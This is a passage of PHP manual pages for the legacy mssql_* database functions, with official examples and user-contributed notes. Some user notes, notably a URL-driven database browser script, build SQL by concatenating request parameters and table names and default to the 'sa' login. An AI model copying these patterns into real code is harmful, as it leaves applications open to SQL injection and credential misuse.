I was able to overcome this by disconnecting from the DB (via mssql_close($conn);) and reconnecting before I ran the second query.  Now my second query returns all the records I need.

Though I would write this here as there is little to no documentation on this issue, and it may only be affecting me.  I am connecting from Linux (RHEL5) to SQL Server 2005 on the network, using FreeTDS.  If you have this same issue, try the above and it may work for you.
doug dot pe at gmail dot com 11-Aug-2012 02:22
This demonstrates the return value:
<?php
$connect = mssql_connect("databasename", "username", "password");
$sql = "SELECT * FROM huge_table";    //    returns 3271 rows, for example
$qry = mssql_query($SQL, $connect, 1000); // 1000 Rows batchsize
$batchsize = mssql_num_rows($qry);
print "$batchsize <br />\r\n";
do {
    $batchsize = mssql_fetch_batch($qry);
    print "$batchsize <br />\r\n";
} while ($batchsize);  // get the next batch until end
?>
returns:
1000
1000
1000
271
0
brutalex430 13-Jul-2010 10:34
This could be usefull if you have a large dataset:

<?php
$qry = mssql_query("SELECT * FROM huge_table", $conn, 1000); // 1000 Rows batchsize

    do {
      while ($row = mssql_fetch_row($qry)) {
          // do something like
          print_r($row);
      }
    } while (mssql_fetch_batch($navqry));  // get the next batch until end

?>


Get field information

  • « mssql_fetch_batch
  • mssql_fetch_object »
  • PHP Manual
  • Mssql Functions
  • Get field information

mssql_fetch_field

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_field — Get field information

Description

object mssql_fetch_field ( resource $result [, int $field_offset = -1 ] )

mssql_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

field_offset

The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0.

Return Values

Returns an object containing field information.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.
  • column_source - the table from which the column was taken
  • max_length - maximum length of the column
  • numeric - 1 if the column is numeric
  • type - the column type.

Examples

Example #1 mssql_fetch_field() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

// Construct table
echo '<h3>Table structure for \'persons\'</h3>';
echo '<table border="1">';

// Table header
echo '<thead>';
echo '<tr>';
echo '<td>Field name</td>';
echo '<td>Data type</td>';
echo '<td>Max length</td>';
echo '</tr>';
echo '</thead>';

// Dump all fields
echo '<tbody>';

for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    // Fetch the field information
    $field = mssql_fetch_field($query, $i);

    // Print the row
    echo '<tr>';
    echo '<td>' . $field->name . '</td>';
    echo '<td>' . strtoupper($field->type) . '</td>';
    echo '<td>' . $field->max_length . '</td>';
    echo '</tr>';
}

echo '</tbody>';
echo '</table>';

// Free the query result
mssql_free_result($query);
?>

See Also

  • mssql_field_seek() - Seeks to the specified field offset

User Contributed Notes

not a mail address 20-Aug-2008 12:22
kubalaa at bigfoot dot com first reported the problem that column_source contains the FIELD name instead of the source TABLE name 04-Apr-2000 03:58. The bug has been reported as well.

For those who wonder if it was fixed over the past 8 years: No, the bug still is the same, no workaround available.
schattenfeld at gmail dot com 02-Aug-2007 04:43
If you want to describe table like DESCRIBE in MySQL you can use this:
$sql = <<<SQL
SELECT column_name,data_type,column_default,is_nullable
FROM
  information_schema.tables AS t
  JOIN
  information_schema.columns AS c ON
    t.table_catalog=c.table_catalog AND
    t.table_schema=c.table_schema AND
    t.table_name=c.table_name
WHERE
  t.table_name='TABLE-NAME'
SQL;
huszti_dot_roland_at_freemail_dot_com 11-May-2006 02:51
For really detailed table information, use syscolumns, like this:

SELECT c.name, c.prec, c.scale, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = 'yourtablename' AND o.id = c.id AND c.xtype = t.xtype

For other properties see the MS SQL online help. Search for 'syscolumns'.

Or an another solution:

sp_columns @table_name = 'yourtablename', @column_name = 'thecolumnname'
//no "select ..." !!!!

This gives info about only the specified column.
php_rindern_de 25-Oct-2004 10:36
commenting Reynard Hilman:

for me it looks like the colstat field value of 1 in syscolumns table indicates an Identity Column.
Reynard Hilman 23-Oct-2003 04:40
If you want to describe table structure (like mysql 'desc table' command), sending this query might help:
<?
$sql = "SELECT c.name, c.isnullable, c.length, c.colstat, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = '$table' AND o.id = c.id AND c.xtype = t.xtype";
?>
I suspect the colstat field in syscolumns table indicates primary key when its value is 1
bmaddy_at_class_dot_umn_dot_edu 30-Apr-2003 04:41
Be aware that this function will only return the first 30 characters of the name of the column.  If the actual column name is longer, it will be truncated.  This is at least true with the following setup:
PHP 4.3.1
MSSQL 8.00.760

Have a good day everyone!
Brian
alonf at spiralsolutions dot com 28-Nov-2002 11:47
As kubalaa at bigfoot dot com note mssql_fetch_field->column_source return field name instead table name also with MSSQL2000 connection. Be adwised!!!
pong at taft dot org 16-Mar-2002 02:07
When you mssql_fetch_field(int result), you need to do loop to get the name of each field.  Something like:

while($fld = mssql_fetch_field($rs)){
        echo $fld->name . "<br>";
    }

I am wondering why we cannot refer it by a field number.
skipsey at hotmail dot com 08-Feb-2001 04:58
It seems fairly hard to get a list of the tables from your database using MSSQL but this seems to do the trick. This is set to get only the User Tables and ignores the sytem tables.

<?php
mssql_connect("server","","") or die ("help me!");
mssql_select_db("") or die ("Noooo!");

$result = mssql_query ("sp_tables");
$fields = mssql_num_fields ($result);
$rows   = mssql_num_rows ($result);

for ($f=0; $f<$rows; $f++) {
    $CHKTYPE=GetField($result,"TABLE_TYPE",$f);

    if($CHKTYPE=='TABLE'){

        //$name = mssql_fetch_field($result, 2);
        $field=GetField($result,"TABLE_NAME",$f)."<br>";
        echo $field;

    }
}
?>
kubalaa at bigfoot dot com 05-Apr-2000 12:58
Using this function with MSSQL 7, $returned->column_source is the column name, not the table name as it should be.


Fetch row as object

  • « mssql_fetch_field
  • mssql_fetch_row »
  • PHP Manual
  • Mssql Functions
  • Fetch row as object

mssql_fetch_object

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_object — Fetch row as object

Description

object mssql_fetch_object ( resource $result )

mssql_fetch_object() is similar to mssql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to mssql_fetch_array(), and almost as quick as mssql_fetch_row() (the difference is insignificant).

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_object() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    // Print a nice list of users in the format of:
    // * name (username)

    echo '<ul>';

    while ($row = mssql_fetch_object($query)) {
        echo '<li>' . $row->name . ' (' . $row->username . ')</li>';
    }

    echo '</ul>';
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

rubin at afternet dot org 21-Jan-2005 02:13
It is important to point out that the result of both
SELECT ' '
and
SELECT ''

is the string ' '.

That is, the php mssql functions will return a phantom space for any empty strings.

See http://bugs.php.net/bug.php?id=26996 and http://bugs.php.net/bug.php?id=25777

PHP does not classify this as a "bug" because the MS DBLib cannot tell the difference betwene the two cases. Earlier versions of php trim'd strings automatically.

It may be a good idea to ltrim and rtrim your results in some cases.
klystofer at brturbo dot com 10-Jul-2003 07:42
<?php

/*
A simple example using mssql_fetch_object
*/

$conexao = mssql_connect("myServer","myUser","myPass");
mssql_select_db("myDB",$conexao);

$query = mssql_query("SELECT EMPRESA FROM IDENTIFICACAO ORDER BY EMPRESA;");

while ($retorno = mssql_fetch_object($query))
   echo "Empresa:" . $retorno->EMPRESA;

?>


Get row as enumerated array

  • « mssql_fetch_object
  • mssql_field_length »
  • PHP Manual
  • Mssql Functions
  • Get row as enumerated array

mssql_fetch_row

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_row — Get row as enumerated array

Description

array mssql_fetch_row ( resource $result )

mssql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to mssql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_row() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Query to execute
$query = mssql_query('SELECT [id], [quote] FROM [quotes] WHERE [id] = \'42\'', $link);

// Did the query fail?
if (!$query) {
    die('MSSQL error: ' . mssql_get_last_message());
}

// Fetch the row
$row = mssql_fetch_row($query);

// Print the 'quote'
echo 'Quote #' . $row[0] . ': "' . $row[1] . '"';
?>

The above example will output something similar to:

Quote #42: "The answer to everything..."

Notes

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_object() - Fetch row as object
  • mssql_data_seek() - Moves internal row pointer
  • mssql_result() - Get result data

User Contributed Notes

zombie(at)artattack(dot)to 05-Dec-2003 10:50
It seems that when you use the MSSQL fetch_* functions you need to manually reset the $result 's internal pointer when doinging a while loop.

i.e.the below seems to only print out the first set. I don't remember this being the case with mysql, but it makes sense that it would do the same.

while ($or_date_info = mssql_fetch_assoc($result)){
 echo '1st pass<BR>';
 print_r($or_date_info);
}
while ($or_date_info = mssql_fetch_assoc($result)){
  echo '2nd pass<BR>';
  print_r($or_date_info);
}

Blaine Garrett
http://artattack.to?zombie
siivv at yahoo dot com 25-Apr-2002 12:35
jus do this instead.. no for loop necessary

while($line = mssql_fetch_row($result)){
print "$line[0],$line[1]";  // etc.
}

no need to have a whole extra variable $i tossed in
will_ <sql at mookandblanchard dot com> 01-Feb-2002 07:44
It took me way too long to notice the MySQL error in the note above (way tooo late and not enough sleep).  Here's what I hacked up:

<?php
$hostname = "localhost";
$username = "username";
$password = "password";
$dbName = "database";

MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO RESPOND.");
mssql_select_db($dbName) or DIE("Table unavailable");

$query = "SELECT * FROM dbo.table";

$result = mssql_query( $query );

for ($i = 0; $i < mssql_num_rows( $result ); ++$i)
     {
         $line = mssql_fetch_row($result);
         print( "$line[0] - $line[1]\n");
     }
?>

Thanks,

will_  @ irc.openprojects.net#php


Get the length of a field

  • « mssql_fetch_row
  • mssql_field_name »
  • PHP Manual
  • Mssql Functions
  • Get the length of a field

mssql_field_length

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_length — Get the length of a field

Description

int mssql_field_length ( resource $result [, int $offset = -1 ] )

Returns the length of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The length of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_length() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT [name], [age] FROM [php].[dbo].[persons]');

// Print the field length
echo 'The field \'age\' has a data length of ' . mssql_field_length($query, 1);

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

The field 'age' has a data length of 4

Notes

Note: Note to Windows Users

Due to a limitation in the underlying API used by PHP (MS DBLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

See Also

  • mssql_field_name() - Get the name of a field
  • mssql_field_type() - Gets the type of a field

User Contributed Notes

zz(lost dot childz at gmail dot com) 31-Oct-2007 12:41
there are same problem with VARBINARY, if you are forced to use existing database with such fields you can do it like this:

SELECT CAST(master.dbo.fn_varbintohexstr(VARBINARYFIELD) AS TEXT) FROM table;
08-Feb-2005 10:56
You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable


Get the name of a field

  • « mssql_field_length
  • mssql_field_seek »
  • PHP Manual
  • Mssql Functions
  • Get the name of a field

mssql_field_name

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_name — Get the name of a field

Description

string mssql_field_name ( resource $result [, int $offset = -1 ] )

Returns the name of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The name of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_name() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name], [email] FROM [php].[dbo].[userlist]');

echo 'Result set contains the following field(s):', PHP_EOL;

// Dump all field names in result
for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    echo ' - ' . mssql_field_name($query, $i), PHP_EOL;
}

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

Result set contains the following field(s):
 - username
 - name
 - email

See Also

  • mssql_field_length() - Get the length of a field
  • mssql_field_type() - Gets the type of a field

User Contributed Notes

ian_channing at hotmail dot com 19-Nov-2013 09:52
There is a limitation of 30 characters for the field name. So if your query has  `fieldname AS really_long_overly_descriptive_name`, you will only get `really_long_overly_descriptiv` back

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username] AS [really_long_overly_descriptive_name], [name], [email] FROM [php].[dbo].[userlist]');

echo 'Result set contains the following field(s):', PHP_EOL;

// Dump all field names in result
for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    echo ' - ' . mssql_field_name($query, $i), PHP_EOL;
}

// Free the query result
mssql_free_result($query);
?>

Outputs the following:

Result set contains the following field(s):
 - really_long_overly_descriptiv
 - name
 - email
harold at worby dot dns2go dot com 06-Mar-2002 10:29
A simple script to walk through an MSSQL server.
I'm using PHP 4.06 and Freetds 5.1 on Solaris 2.7 and Apache 1.3
Several of the msql_ functions seem to be broken/missing.
This is what I found to work.

<?php
// --------------------------------------------------------
// URL http://server/mssqltest.php?DB=Database&table=TableName
// --------------------------------------------------------
// Default settings: edit to meet your needs
if (!($user)) $user=sa;
if (!($pass)) $pass="password";
if (!($host)) $host="acer900";
// --------------------------------------------------
// connect to mssql server
$connect = mssql_connect($host,$user,$pass) or die ($host." not accessible.");
// select the database
if ($DB) mssql_select_db($DB)or die('USE '.$DB.' failed!');
if (!($table)) {
    $query="EXEC sp_tables \"%\",\"%\",\"".$DB."\",\"'TABLE'\"";
    $linkcol=2;
    $linkcol="TABLE_NAME";
$linkformat=" <a href=\"%s?DB=".$DB."&table=%s\">%s</a> ";
}else{ // tables and DB - Get DATA
    $query="SELECT * FROM ".$table;
    $linkformat=" <a href=\"%s\">%s</a> ";
}
if (!($DB))    {
    $query="EXEC sp_databases";
    $linkcol=0;
    $linkcol="DATABASE_NAME";
    $linkformat="<a href=\"%s?DB=%s\">%s</a>";
}

// run query
echo $query."<br>";
$result = mssql_query( $query) or die('Query failed!');
$fields = mssql_num_fields ($result) or die("Num Fields Failed");
$rows   = mssql_num_rows ($result);

echo "<br>Rows ".$rows." Fields ".$fields."<br>";
echo "<TABLE border=1><tr>";
// get field names
for ( $f = 0 ; $f < $fields ; $f++ ){
    $name = mssql_fetch_field($result, $f);
    echo "<td>".$f.$name->name."</td>";
// Strange here.. without the "X"'s the () is always TRUE??
    if ($name->name."X" == $linkcol."X") $linkcol = $f;
}
echo "</tr>";
//Display Data
for ($i = 0; $i < $rows ; $i =$i +1){
    for ($f = 0; $f<$fields ; $f++){
        $name=mssql_result($result,$i,$f);
        if ($f == $linkcol){
printf("<td>".$linkformat."</td>\n",$PHP_SELF,
 $name , $name );
        }
        else{
            echo "<td>". $name . "</td>";
        }
    }
echo "</tr>";
}
echo "</TABLE><br>";

// close connection
mssql_close ($connect);
?>
tengel at sonic dot net 08-Oct-2000 04:43
This function isn't supported (PHP 4.0.2) if using Sybase/FreeTDS to access SQLServer (linux/solaris/bsd/etc).  Instead, use "mssql_fetch_field()" like so:

$field_name = mssql_fetch_field($query_result, $field_number);
print $field_name->name;


Seeks to the specified field offset

  • « mssql_field_name
  • mssql_field_type »
  • PHP Manual
  • Mssql Functions
  • Seeks to the specified field offset

mssql_field_seek

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_seek — Seeks to the specified field offset

Description

bool mssql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to mssql_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

field_offset

The field offset, starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using mssql_field_seek() on the example for mssql_fetch_field()

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

// Construct table
echo '<h3>Table structure for \'persons\'</h3>';
echo '<table border="1">';

// Table header
echo '<thead>';
echo '<tr>';
echo '<td>Field name</td>';
echo '<td>Data type</td>';
echo '<td>Max length</td>';
echo '</tr>';
echo '</thead>';

// Dump all fields
echo '<tbody>';

for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    // Fetch the field information, notice the
    // field_offset parameter is not set. See
    // the mssql_field_seek call below
    $field = mssql_fetch_field($query);

    // Print the row
    echo '<tr>';
    echo '<td>' . $field->name . '</td>';
    echo '<td>' . strtoupper($field->type) . '</td>';
    echo '<td>' . $field->max_length . '</td>';
    echo '</tr>';

    // Move the internal seek pointer to the next
    // row in the result set
    mssql_field_seek($query, $i + 1);
}

echo '</tbody>';
echo '</table>';

// Free the query result
mssql_free_result($query);
?>

See Also

  • mssql_fetch_field() - Get field information

User Contributed Notes

kevin_tom at hotmail dot com 15-May-2004 11:47
Don't know this would help.
If you are using mssql to loop through a web page. Here is how to do it:
Suppose you want to select a few fields from t1 joining to t2

$numPerPage=10;
if(empty($offset))
  $offset=0;
if($next_x){
  $offset+=$numPerPage;
}
if($previous_x){
  $offset-=$numPerPage;
}

$qry_string = "SELECT DISTINCT TOP $numPerPage t1.field1, t1.field2 from t1 LEFT
JOIN t2 ON t2.field1=t1.field1
WHERE t2.another_field='specific_val'
AND t1.fields
NOT IN
(SELECT DISTINCT TOP $offset tmpT1.field1
FROM t1 AS tmpT1 LEFT
JOIN t2 ON t2.field1=tmpT1.field1
WHERE t2.another_field='specific_val'
)";

// then run the above $qry_string using the while loop


Gets the type of a field

  • « mssql_field_seek
  • mssql_free_result »
  • PHP Manual
  • Mssql Functions
  • Gets the type of a field

mssql_field_type

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_type — Gets the type of a field

Description

string mssql_field_type ( resource $result [, int $offset = -1 ] )

Returns the type of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The type of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_type() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT [name] FROM [php].[dbo].[persons]');

// Print the field type and length
echo '\'' . mssql_field_name($query, 0) . '\' is a type of ' .
     strtoupper(mssql_field_type($query, 0)) .
     '(' . mssql_field_length($query, 0) . ')';

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

'name' is a type of CHAR(50)

See Also

  • mssql_field_length() - Get the length of a field
  • mssql_field_name() - Get the name of a field

User Contributed Notes

huib at bestia dot com 27-May-2005 12:18
If you need a more detailed discription of your column type,

This query shows your true datatypes like:

binary => binary
varbinary => varbinary
varchar => varchar
bit => bit
char => char
datetime => datetime
smalldatetime => smalldatetime
decimal => decimal
real => real
float => float
tinyint => tinyint
smallint => smallint
smallmoney => smallmoney
money => money
nchar => nchar
ntext => ntext
text => text
numeric => numeric
nvarchar => nvarchar

SELECT     sysobjects.name AS tableName, syscolumns.name AS columnName, systypes.name AS columnType
FROM         sysobjects INNER JOIN
                      syscolumns ON sysobjects.id = syscolumns.id INNER JOIN
                      systypes ON syscolumns.type = systypes.type AND syscolumns.xusertype = systypes.xusertype
nicholas at silverorange dot com 24-Mar-2005 03:39
The matching returned values for each of the common datatypes are:

binary => blob
varbinary => blob
varchar => char
bit => bit
char => char
datetime => datetime
smalldatetime => datetime
decimal => real
real => real
float => real
tinyint => int
smallint => int
smallmoney => money
money => money
nchar => char
ntext => text
text => text
numeric => numeric
nvarchar => char
rmorales at protel dot net dot mx 18-Jun-2003 08:46
Here i have an usable code for all u:

   I wanted to know if a field is nullable or if it's defined as a primary key, here are those functions definitions:

*Aditional Notes:
    if any of the tables are replicated in another database exactly , this code will not work well.

//-----to know if a field is nullable-------
function mssql_field_nullable($ip,$user,$pass,$table,$field)//starting from 1st field
{
      $conn=mssql_connect($ip,$user,$pass)or die;
      mssql_select_db('master');
      $result=mssql_query("SELECT syscolumns.isnullable
FROM sysobjects INNER JOIN
    syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.name ='$table' AND syscolumns.isnullable = 1");
      $x=mssql_num_rows($result);
      mssql_close($conn);
      return ($x==1?1:0);

}
//-------to know if a field is a primary key-------
function mssql_field_key($ip,$user,$pass,$table,$field)//starting from 1st field
{
      $conn=mssql_connect($ip,$user,$pass)or die;
      mssql_select_db('master');
      $result=mssql_query("SELECT sysindexkeys.colid FROM sysobjects INNER JOIN sysindexkeys ON sysobjects.id = sysindexkeys.id WHERE sysobjects.name ='$table' AND sysindexkeys.colid = $field");
      $x=mssql_num_rows($result);
      mssql_close($conn);
      return ($x==1?1:0);

}
by R.M.R.A


Free result memory

  • « mssql_field_type
  • mssql_free_statement »
  • PHP Manual
  • Mssql Functions
  • Free result memory

mssql_free_result

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_free_result — Free result memory

Description

bool mssql_free_result ( resource $result )

mssql_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call mssql_free_result() with the result identifier as an argument and the associated result memory will be freed.

Parameters

result

The result resource that is being freed. This result comes from a call to mssql_query().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_free_result() example

<?php
// Select some data from a table
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]', $link);

// Handle query result here

// When we're done we free the result by calling
// mssql_free_result like so:
mssql_free_result($query);
?>

See Also

  • mssql_free_statement() - Free statement memory

User Contributed Notes

veggivore [at] yahoo [period] com 06-Sep-2006 06:21
MSSQL only allows one HRESULT open per connection. If you have a query with a server side cursor open any subsequent queries using that connection will fail.


Free statement memory

  • « mssql_free_result
  • mssql_get_last_message »
  • PHP Manual
  • Mssql Functions
  • Free statement memory

mssql_free_statement

(PHP 4 >= 4.3.2, PHP 5, PECL odbtp >= 1.1.1)

mssql_free_statement — Free statement memory

Description

bool mssql_free_statement ( resource $stmt )

mssql_free_statement() only needs to be called if you are worried about using too much memory while your script is running. All statement memory will automatically be freed when the script ends. You may call mssql_free_statement() with the statement identifier as an argument and the associated statement memory will be freed.

Parameters

stmt

Statement resource, obtained with mssql_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_free_statement() example

<?php
// Create a new statement
$stmt = mssql_init('test');

// Bind values here and execute the statement

// once we're done, we clear it from the memory
// using mssql_free_statement like so:
mssql_free_statement($stmt);
?>

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_init() - Initializes a stored procedure or a remote stored procedure
  • mssql_free_result() - Free result memory

User Contributed Notes

mitch at 1800radiator dot kom 23-Mar-2005 07:02
Maybe it's unique to my FreeTDS configuration, but if I don't call mssql_free_statement() after every stored procedure (i.e. mssql_init, mssql_bind, mssql_execute, mssql_fetch_array), all subsequent stored procedures on the same database connection will fail.

I only mention it because this man-page deprecates the use of mssql_free_statement(), saying it's only there for run-time memory concerns.  At least in my case, it's also a crucial step in the process of running a stored procedure.  If anyone else has problems running multiple stored procedures on the same connection, I hope this helps them out.


Returns the last message from the server

  • « mssql_free_statement
  • mssql_guid_string »
  • PHP Manual
  • Mssql Functions
  • Returns the last message from the server

mssql_get_last_message

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_get_last_message — Returns the last message from the server

Description

string mssql_get_last_message ( void )

Gets the last message from the MS-SQL server

Parameters

This function has no parameters.

Return Values

Returns last error message from server, or an empty string if no error messages are returned from MSSQL.

Examples

Example #1 mssql_get_last_message() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Make a query that will fail
$query = @mssql_query('SELECT * FROM [php].[dbo].[not-found]');

if (!$query) {
    // The query has failed, print a nice error message
    // using mssql_get_last_message()
    die('MSSQL error: ' . mssql_get_last_message());
}
?>

The above example will output something similar to:

MSSQL error: Invalid object name 'php.dbo.not-found'.

See Also

  • mssql_min_error_severity() - Sets the minimum error severity
  • mssql_min_message_severity() - Sets the minimum message severity

User Contributed Notes

deyura at gmail dot com 26-Apr-2007 03:49
another exsample

mssql_query("INSERT INTO catalog (id, temp) VALUES (1, 'temp')") or exit(mssql_get_last_message());
php at cybertinus dot nl 13-Nov-2006 12:50
Here I am again :). My last function stinks :p (well, actually, MSSQL doesn't always does the same thing with different errors :/. That last function can't cope with that. The following function can cope with that. The only weird thing I had with it was that when I entered a table, which don't exists, in my SELECT query, the first mssql_get_last_message() doesn't always gets the correct message. It sometimes gets the message from the last action. I have no explination for it. Anyway: this is the beter version of my last function.  The usage is explained in my last post:

<?php
function query($sQuery, $hDb_conn, $sError, $bDebug)
{
    if(!$rQuery = @mssql_query($sQuery, $hDb_conn))
    {
        $sMssql_get_last_message = mssql_get_last_message();
        $sQuery_added  = "BEGIN TRY\n";
        $sQuery_added .= "\t".$sQuery."\n";
        $sQuery_added .= "END TRY\n";
        $sQuery_added .= "BEGIN CATCH\n";
        $sQuery_added .= "\tSELECT 'Error: '  + ERROR_MESSAGE()\n";
        $sQuery_added .= "END CATCH";
        $rRun2= @mssql_query($sQuery_added, $hDb_conn);
        $aReturn = @mssql_fetch_assoc($rRun2);
        if(empty($aReturn))
        {
            echo $sError.'. MSSQL returned: '.$sMssql_get_last_message.'.<br>Executed query: '.nl2br($sQuery);
        }
        elseif(isset($aReturn['computed']))
        {
            echo $sError.'. MSSQL returned: '.$aReturn['computed'].'.<br>Executed query: '.nl2br($sQuery);
        }
        return FALSE;
    }
    else
    {
        return $rQuery;
    }
}
?>

Disclaimer: This is not the original function that I use in my project. The original function has Dutch text and uses some other functions that I have. I have removed my own functions and translated everything to English. That is everything I did. I only used a second function for the error messages. So I think everything should work, but I don't know for sure.
rodflash at rodflash dot com 23-Feb-2006 01:29
If you want to view the last ID inserted, mssql_get_last_message() will not return this.
MySQL have a function mysql_insert_id() that returns it. MSSQl don't.
To resolve this, you must run this query:

$query="SELECT @@IDENTITY as last_insert_id"
mssql_query($query, $connection);

and it will return the last ID inserted in the database.
NOjewlfSPAM at NOattSPAM dot net 29-Jul-2005 04:48
As Klaus pointed out earlier, the command MSSQL_GET_LAST_MESSAGE() only returns the last line of an error message and that may not be enough for debugging.

I had a failing MSSQL_QUERY returning "the statement has been terminated" via MSSQL_GET_LAST_MESSAGE() so I tried Klaus' technique to get more information.

Unfortunately, the connection to the database was also being broken, keeping Klaus' technique from looking up the error number.

The solution to my case was to increase the PHP timeout for MSSQL queries from the default 60 seconds to 300 by adding this to PHP.INI:

mssql.timeout = 300
jessicax at mymelody dot com 12-Jul-2005 05:44
I've noticed that there's a few people putting really elongated code out there for a MSSQL Connection / Error function.

Firstly, i think that rewriting pre-existing functions is a waste of parsing time, so if you're going to try and return an error, usee mssql_get_last_message() as you would with mysql_error().

Here is an adapted version of a MySQL Connection function;

    function mssql_autoconnect() {
        $cString = parse_url($config['connect_url']);
        $cLink = mssql_connect($cString['host'], $cString['user'], $cString['pass']) or die(mssql_get_last_message());
        mssql_select_db(preg_replace("///",$cString['path']),$cLink);
        return $cLink;
    }
drunkennewfiemidget 22-Mar-2005 09:40
I've found mssql_get_last_message to be useful for fetching errors in the event MSSQL queries fail.

<?php

$q = @mssql_query("asdfasdfasfdasfd");
if (!$q)
     print "MSSQL Query failed: " . mssql_get_last_message() . "<br />\n";

?>
ripfel at thinktank dot de 24-May-2002 07:58
If you work with stored procedures and want to have a neat error-handling, try this:
procedure:
CREATE PROCEDURE TEST_ERROR  AS
RAISERROR('myMessage:test', 2, 1) WITH SETERROR

2 is error-severity, which should be below 11 to prevent php to output error directly.
you get this message with mssql_get_last_message()
after executing the stored procedure.
To prevent your code from reacting on all messages you can define a string (e.g. 'myMessage:') and parse for it:
<?php
$db = mssql_connect(DBHost, DBLogin, DBPassword);
mssql_select_db(DBName, $db);
$query = "exec TEST_ERROR";
$rs = mssql_query($query, $db);
$lastMsg = mssql_get_last_message();
if strstr($lastMsg, 'myMessage:') echo $lastMsg;
?>
php-contrib at i-ps dot nospam dot net 27-Jan-2002 07:24
With ref to last_insert_id;

you can also do "SELECT ident_current('table_name')" with msSQL, which is the same thing.
Don't forget that this counts as a seperate SQL query, so you will have to fetch the results as well, which isn't as neat as MySQL_insert_id().
